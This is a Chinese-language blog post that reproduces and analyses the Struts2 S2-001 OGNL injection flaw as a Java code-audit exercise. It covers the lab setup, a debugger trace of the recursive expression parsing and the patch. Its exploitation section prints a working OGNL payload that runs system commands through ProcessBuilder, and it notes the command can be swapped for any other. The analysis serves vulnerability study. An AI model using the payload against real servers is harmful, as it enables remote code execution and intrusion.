java代码审计入门之s2-001复现分析

0x00 前言

入门JAVA代码审计的第一篇文章,还是决定以漏洞之王struts2下手,本篇即以学习为目的,复现分析S2-001,虽然该漏洞已过去十多年,但是前前后后还是折腾了好几天。

0x01 环境搭建

官方给出的漏洞影响版本为WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8。
本例中使用struts-2.0.1版本进行复现分析。

工具选择使用了IDEA,下面记录一下如何使用IDEA创建第一个struts2项目。
IDEA需下载Ultimate版本,Community版本无法创建Java EE工程。
首先New Project创建Struts2项目,Libraries选择Set up library later

下一步之后填写项目名称即可创建起一个struts2 project

下载struts-2.0.1-all

在项目目录WEB-INF下新建lib文件夹,将所需要的jar包从下载目录中导入到lib文件夹下

将全部jar包选中,右键Add as Library

填写一个Library Name

然后File->Project strutsure

然后在Modules下选中struts2-001

之后再在Artifacts如下图将struts2-001put into output root,完成后点击OK.

之后按下图创建Tomcat server

在配置页面点击Fix,其他默认即可。

至此即可看到一个struts2项目启动成功。

因为漏洞是在表单验证失败时发生的,这里继续编写一个表单验证的Demo,以复现漏洞。
WEB目录下修改index.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<%@ page contentType="text/html; charset=UTF-8" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head>
<title>Sign On</title>
</head>

<body>
<s:form action="Login">
<s:textfield label="username" name="username"/>
<s:textfield label="password" name="password" />
<s:submit/>
</s:form>
</body>
</html>

然后新建welcome.jsp

1
2
3
4
5
6
7
8
9
10
11
12
<%@ page contentType="text/html; charset=UTF-8" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>

src下新建com.demo.actionpackage

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class Login extends ActionSupport {
private String username = null;
private String password = null;

public String getUsername() {
return this.username;
}

public String getPassword() {
return this.password;
}

public void setUsername(String username) {
this.username = username;
}

public void setPassword(String password) {
this.password = password;
}

public String execute() {
if ((this.username.isEmpty()) || (this.password.isEmpty())) {
return "error";
}
if ((this.username.equalsIgnoreCase("admin"))
&& (this.password.equals("admin"))) {
return "success";
}
return "error";
}
}

修改struts.xml

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="s2" extends="struts-default">
<action name="Login" class="com.demo.action.Login">
<result name="success">welcome.jsp</result>
<result name="error">index.jsp</result>
</action>
</package>
</struts>

之后即可运行程序出现登陆Demo

0x02 代码分析

在分析之前还是看一下十多年前官方的描述
AqalV0.png
看到问题是因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用
OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。
第一次分析JAVA代码,还是觉得无从下断分析,但是既然是OGNL表达式导致的问题,那么表达式必然会经过OGNL解析并返回结果,前辈们给出的分析思路便是在OGNL表达式原生API getValue处下断点,该方法用于解析OGNL表达式并返回表达式的值。

下断后便可发送payload%{1+1},直到在断点处出现我们的payload,此时在调用栈中即可看到漏洞发生的整个过程。

然后便可以根据调用栈开始分析过程。
首先我们的payload是从index.jsp输入的,这里需要了解的是jsp的本质也是一个Servlet,在执行jsp的时候tomcat会将其转化为java代码,比如这里index.jsp被转化为index_jsp.java

之后struts便会调用ComponentTagSupport类中doStartTag doEndTag方法对index_JSP.hava中的struts标签进行处理。

上图可以看出,调用doEndTag方法对标签时会调用this.component.end()方法。
跟进之后在UIBean类中end方法中会继续调用同类下的evaluateParams

跟进evaluateParams,该方法会对标签属性取得name之后判断是否开启altSyntax功能,开启则会用%{}将标签属性值名称包裹,用于使用OGNL表达式对其处理。

1
altSyntax 功能是 Struts 2 框架用于处理标签内容的一种新语法(不同于普通的 HTML ),该功能主要作用在于支持对标签中的 OGNL 表达式进行解析并执行。该功能在struts2核心配置文件struts.properties中默认开启。


然后username经过上面处理之后,进入到该类下的getValue方法查询表达式的值,继续跟进。

在该方法中调用TextParseUtil.translateVariables

之后调用了该类下的同名方法translateVariables,对OGNL表达式进行了递归处理,从而使得我们的payload可以在递归处理时被OGNL表达式执行。
继续查看该方法,便可以看到使用了while(true)对表达式进行了递归处理。

之后便对表达式去掉%{}调用stack.findValueOgnlValueStack类下的findValue,并最终调用了Ognl的getValue方法对表达式进行取值

getValue中可以看到取到了我们的payload

之后取得的值复制给o并最终复制给expression,继续在while循环中被处理。

最终在OGNL表达式中被处理,获得计算结果2

0x03 漏洞利用

POC

1
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

修改new java.lang.String[]{"whoami"}即可执行任意命令

如需参数可这样利用new java.lang.String[]{"net","user"}

0x04 补丁分析

XWork2.0.4增加了loopCount判断以取消对OGNL的递归解析

0x05 参考

S2-001漏洞分析
OGNL设计及使用不当造成的远程代码执行漏洞
Struts-001远程代码执行漏洞分析

本文标题:java代码审计入门之s2-001复现分析

文章作者:boogle

发布时间:2019年04月13日 - 17:56

最后更新:2019年04月17日 - 16:32

原始链接:http://zhengbao.wang/java代码审计入门之s2-001复现分析/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗